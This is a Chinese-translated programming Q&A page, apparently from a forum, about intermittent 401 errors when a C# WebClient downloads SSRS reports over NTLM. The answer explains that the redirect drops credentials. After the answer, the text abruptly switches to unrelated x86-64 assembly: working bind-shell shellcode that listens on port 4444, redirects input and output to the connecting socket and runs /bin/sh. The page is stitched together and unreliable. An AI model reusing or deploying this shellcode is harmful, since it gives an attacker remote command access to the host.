来自SSRS的间歇性401-未经授权的响应

时间:2015-11-16 18:09:22

标签: c# asp.net sql-server reporting-services windows-security

(使用C#,Web API,带有报表服务器的SQL Server2012,身份验证为NTLM)

尝试从SSRS下载报告(作为Excel文档)时出现间歇性错误。我构建了正确的URL来呈现报告,如:

  

http://sqlServer/ReportServer/Pages/ReportViewer.aspx?/TheReportName&rs:Command=Render&rs:format=excel&rc:Parameters=false&Region=WEST&CutOffDate=10/25/2015

WebClient webClient = new WebClient();
webClient.Credentials = new NetworkCredential("myDom\\myReportReader", "P@55W0rd");
     //string credentials = Convert.ToBase64String(
     //    Encoding.ASCII.GetBytes("myDom\\myReportReader" + ":" + P@55W0rd"));
     //webClient.Headers[HttpRequestHeader.Authorization] = string.Format("Basic {0}", credentials);

//401 Unauthorized thrown here:
return new MemoryStream(webClient.DownloadData(reportUrl));

这里的目标是面向公众的IIS上的Web API控制器从内部/防火墙保护的SSRS下载文件流,然后将流中继到浏览器。 这个工作有时...当它没有在最后一行返回401错误时...... 标出的行表示尝试解决不起作用的问题。

1 个答案:

答案 0 :(得分:3)

一个解决方案是更改请求的网址。

当您要通过ReportViewer.aspx导出报告时,SSRS通过重定向(http状态302)进行响应。并且WebClient不会将凭据重新发送到重定向页面。

您应该以这种格式请求报告: http://sqlServer/ReportServer?/TheReportName&rs:Format=EXCEL&rc:Parameters ... 所以只需从URL中删除此序列: /Pages/ReportViewer.aspx

有关使用网址访问导出报告的详情,请访问:https://msdn.microsoft.com/en-us/library/ms154040.aspx

另一种解决方案是保留非最佳网址并使用Uri,它会为重定向的网页提供凭据,但不要忘记设置WebClient webClient = new WebClient(); var nc = new NetworkCredential("myReportReader", "P@55W0rd", "myDom"); var cc = new CredentialCache{{new Uri("http://sqlServer"), "Ntlm", nc}}; webClient.Credentials = cc; return new MemoryStream(webClient.DownloadData(reportUrl)); 参数仅限于前缀,即“http:// sqlServer”或“http:// sqlServer / ReportServer”,而不是更多。

global _start

section .text

_start:

        ;Initializing the registers to make the syscalls
        ; sock = socket(AF_INET, SOCK_STREAM, 0)
        ; AF_INET = 2
        ; SOCK_STREAM = 1
        ; syscall number 41

        xor rax, rax
        xor rdi, rdi
        xor rsi, rsi
        push 0x29
        pop rax
        push 0x2
        pop rdi
        inc rsi
        syscall

        ; copying the socket descripter from rax to rdi register so that we can use it further 
        xchg rax, rdi

        ; server.sin_family = AF_INET 
        ; server.sin_port = htons(PORT)
        ; server.sin_addr.s_addr = INADDR_ANY
        ; bzero(&server.sin_zero, 8)

        ; setting up the data sctructure

        xor rax, rax 

        mov dword [rsp - 4] , eax   ; we are pushing 8 zero's into the eax register
        mov word [rsp - 6] ,0x5c11  ; htons value for(4444) obtained from python then encoded with hex
        mov byte [rsp - 8] , 0x2    ; adding the AF_INET constant value 
        sub rsp , 8                 ; subtracting 8 bytes so that the argument will be aligned in the top of the register

        ; bind(sock, (struct sockaddr *)&server, sockaddr_len)
        ; syscall number 49
        add al, 0x31
        mov rsi, rsp
        add dl, 0x10
        syscall

        ;listen the sockets for the incomming connections    
        ; listen(sock, MAX_CLIENTS)
        ; syscall number 50
        cdq
        push 0x32
        pop rax
        xor rsi, rsi
        add rsi, 0x2
        syscall

        ; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
        ;syscall number 43
        xor rax, rax
        add al, 0x2b
        sub rsp, 0x10
        mov rsi, rsp
        push 0x10
        mov rdx, rsp
        syscall

        ; storing the client socket description
        mov r9, rax

        ; close parent
        push 0x3
        pop rax
        syscall

        xchg rdi , r9
        xor rsi , rsi

dup2:
        push 0x21
        pop rax
        syscall
        inc rsi
        cmp rsi , 0x2
        loopne dup2

        ; NASM code for Execve
        xor rax , rax
        mov rdx , rax 
        push rax

        mov rbx, 0x68732f2f6e69622f
        push rbx

        ; store /bin//sh address in RDI
        mov rdi, rsp

        ; Second NULL push
        push rax


        ; Push address of /bin//sh
        push rdi

        ; set RSI
        mov rsi, rsp

        ; Call the Execve syscall
        push 0x3b
        pop rax
        syscall